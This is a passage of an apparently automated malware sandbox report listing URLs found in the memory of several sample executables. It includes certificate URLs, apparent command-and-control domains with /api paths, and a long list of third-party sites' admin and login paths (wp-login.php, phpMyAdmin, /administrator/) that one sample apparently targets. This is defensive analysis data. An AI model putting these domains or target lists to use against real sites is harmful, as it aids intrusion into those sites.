0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: explorer.exe, 00000001.00000000.1698135497.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1696442316.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826FB000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://calebandersondesigns.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://centurylaboratories.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://centurylaboratories.com/%
Source: 5316.exe, 00000007.00000002.2896435412.0000000003A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://centurylaboratories.com/admin/
Source: 5316.exe, 00000007.00000002.2893685989.00000000037EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certificates.starfieldtech.com/repository/0
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://choctawcasino.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://choctawcasino.com/mU
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://clsunlimited.com/administrator/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://collinsgordonhenry.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://conalcorp.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://conalcorp.com/com
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://conalcorp.com/wp-login.php
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://conalcorp.com/wp-login.phptavistaws.com
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://copyset.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://copyset.com/PhpMyAdmin/
Source: 5316.exe, 00000007.00000002.2893685989.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://copyset.com/administrator/
Source: 5316.exe, 00000007.00000002.2893685989.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://copyset.com/administrator/com
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://copyset.com/m
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://copyset.com/phpMyAdmin/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://copyset.com/phpMyAdmin/Q
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://copyset.com/phpmyadmin/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://copyset.com/pma/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://copyset.com/pma/Admin/V
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crayzrocker.org/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crayzrocker.org/ain.com
Source: 7017.exe, 0000000C.00000003.2061416337.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062118934.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.startssl.com/sca-code3.crl0#
Source: 7017.exe, 0000000C.00000003.2061416337.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062118934.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.startssl.com/sfsca.crl0f
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061416337.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062118934.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: explorer.exe, 00000001.00000000.1698135497.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1696442316.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826FB000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: explorer.exe, 00000001.00000000.1698135497.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1696442316.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826FB000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dako.netai.net/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dako.netai.net/m.com
Source: 5828.exe, 00000008.00000002.2040972155.000000000063E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dayfarrichjwclik.fun/h
Source: 5828.exe, 00000008.00000002.2040972155.000000000063E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dayfarrichjwclik.fun/h8
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://devlog.gregarius.net/docs/ua)Links
Source: 5828.exe, 00000008.00000002.2040972155.000000000066C000.00000004.00000020.00020000.00000000.sdmp, 5828.exe, 00000008.00000002.2040972155.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/
Source: 5828.exe, 00000008.00000002.2040972155.000000000063E000.00000004.00000020.00020000.00000000.sdmp, 5828.exe, 00000008.00000002.2040972155.0000000000678000.00000004.00000020.00020000.00000000.sdmp, 5828.exe, 00000008.00000002.2040972155.0000000000664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/api
Source: 5828.exe, 00000008.00000002.2040972155.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/api$
Source: 5828.exe, 00000008.00000002.2040972155.0000000000664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/api)
Source: 5828.exe, 00000008.00000002.2040972155.000000000063E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/apiBpP6
Source: 5828.exe, 00000008.00000002.2040972155.000000000066C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/w
Source: 5828.exe, 00000008.00000002.2040972155.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun:80/api
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://directservbms.com/
Source: 5316.exe, 00000007.00000002.2893685989.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://directservbms.com/administrator/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://directservbms.com/mcom
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dlirfo.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dlirfo.com/4
Source: 5316.exe, 00000007.00000002.2896435412.0000000003ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dlirfo.com/administrator/index.php
Source: 5316.exe, 00000007.00000002.2896435412.0000000003ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dlirfo.com/administrator/index.php=
Source: 5316.exe, 00000007.00000002.2896435412.0000000003ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dlirfo.com/administrator/index.phpJ
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dm.famm.us/
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eb-concept.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eb-concept.com/b5c.com
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eco-child.myshopify.com/admin
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eco-child.myshopify.com/admino
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ecochild.com.au/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://engelgau.net/admin/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://engelgau.net/admin/02/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://engelgau.net/admin/R
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://engelgau.net/admin/X
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://entexclusives.com/administrator/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://filmboxstudios.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://filmboxstudios.com/.au
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://floridasun.org/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://floridasun.org/gns.com
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Poppins%3A300%2C400%2C500%2C600%2C700&ver=1639614800
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoffreynolds.com.au/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gmpg.org/xfn/11
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://goaeta.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://habbocentral.net/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://habbocentral.net/org
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iconcap.com/admin/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iconcap.com/admin/1
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iconcap.com/admin/om/ad
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iconcap.com/admin/trato
Source: 5316.exe, 00000007.00000002.2884998984.0000000002A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://images.squarespace-cdn.com/content/v1/61e09303caa6a72878905d57/bf76fe19-98ab-4617-b6fb-044fb9
Source: 5316.exe, 00000007.00000002.2896435412.0000000003ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://inhofer.com/administrator/index.php
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://invalidlog.txtlookup
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://janicearies.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://janicearies.com/pma/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://janicearies.com/pma/m
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jayshreeautomation.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jcdnc.org/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jcdnc.org/.com.sg6
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jgarch.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kingshit.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://leuadxqqqn.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://leuadxqqqn.com/om
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lisvankooten.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lisvankooten.com/C
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://localhost:3433/https://duniadekho.baridna:
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://london.com.tr/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://london.com.tr/.com
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lum-gaming.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maatinus.com/PhpMyAdmin/
Source: 5316.exe, 00000007.00000002.2896435412.0000000003ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maatinus.com/administrator/index.php
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://meltonhome.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://meltonhome.com/admin.php
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://meltonhome.com/admin.phpw
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://meltonhome.com/om.au
